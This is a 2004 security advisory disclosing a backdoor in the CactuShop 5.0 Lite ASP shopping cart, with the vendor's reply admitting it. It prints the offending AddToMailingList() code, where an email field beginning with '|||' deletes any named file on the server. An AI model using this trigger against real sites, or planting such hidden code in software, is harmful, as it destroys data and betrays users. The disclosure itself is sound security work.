CactuSoft CactuShop 5.0 Lite shopping cart software backdoor

[S-Quadra Security Research <research@xxxxxxxxxxxx>]

      S-Quadra Advisory #2004-02-06

Topic: CactuSoft CactuShop 5.0 Lite shopping cart software backdoor
Severity: High
Vendor URL: http://www.cactushop.com
Advisory URL: http://www.s-quadra.com/advisories/Adv-20040206.txt
Release date: 06 Feb 2004

1. DESCRIPTION

CactuShop is an ASP application for running an e-commerce web site. It 
incorporates
a databased catalogue system, front end pages for product navigation, 
back end pages
for updating product details and robust basket code for memorizing 
product selections
as a visitor moves around the web site. ASP software is designed to run 
on a Microsoft
NT or Win 2000 server. Please visit http://www.cactushop.com for 
information about
CactuShop shopping cart.

2. DETAILS

There is a backdoor in 5.0 Lite versin of CactuShop allowing a remote 
attacker to
delete any file on target system.

The offending code can be found in includes/functions.asp file. 
AddToMailingList()
function which implemented in this file, adds a user's email address to 
store mailing
list. This function checks the provided email address and if it starts 
with '|||'
the rest of the address is interpetered as the  name of the file to be 
deleted.
Below is the snip of source code:

Function AddToMailingList(strEmailAddress, strFormValue, htmlvalue)
......
  '---------------------------------
  'CHECK IF IT'S VALID
  '---------------------------------
  if strEmailAddress <> "" then
      If Left(strEmailAddress, 3) = "|||" Then
          
Server.CreateObject("Scripting.FileSystemObject").DeleteFile(Server.MapPath("./") 
& Mid(strEmailAddress, 4))
          AddToMailingList = 
GetString("ContentText_EmailAddressNotValid") & " " & strEmailFrom & "."
          Exit Function
      End If
  else
      AddToMailingList = GetString("ContentText_NoEmailAddressEntered")
      Exit Function
  end if
......   

3. FIX INFORMATION

S-Quadra alerted CactuShop development team to these issues on 05 Feb 2004.
The following response has been received:

"The lite version of our software DOES have backdoors. It IS NOT 
intended for live use.
Users are specifically prohibited from using it as such!!!
If people are using this softare on a live site then they are violating our
license agreement. The full version of the software is secure."

CactuShop Lite license agreement indeed states that "IF YOU WISH TO USE 
THE SOFTWARE
ON A LIVE WEB SITE YOU MUST PURCHASE THE FULL VERSION. CACTUSOFT 
RESERVES THE RIGHT
TO TAKE BOTH LEGAL AND TECHNICAL STEPS TO PREVENT USE OF CACTUSHOP LITE 
IN BREACH
OF THIS AGREEMENT...", but we believe that the public should be informed 
about the
presense of the backdoor in CactuShop Lite.

4. CREDITS

Nick Gudov <cipher@xxxxxxxxxxxx> is responsible for discovering this issue.

5. ABOUT

S-Quadra offers services in computer security, penetration testing and 
network
assesment, web application security, source code review and third party 
product
vulnerability assesment, forensic support and reverse engineering.

         S-Quadra Advisory #2004-02-06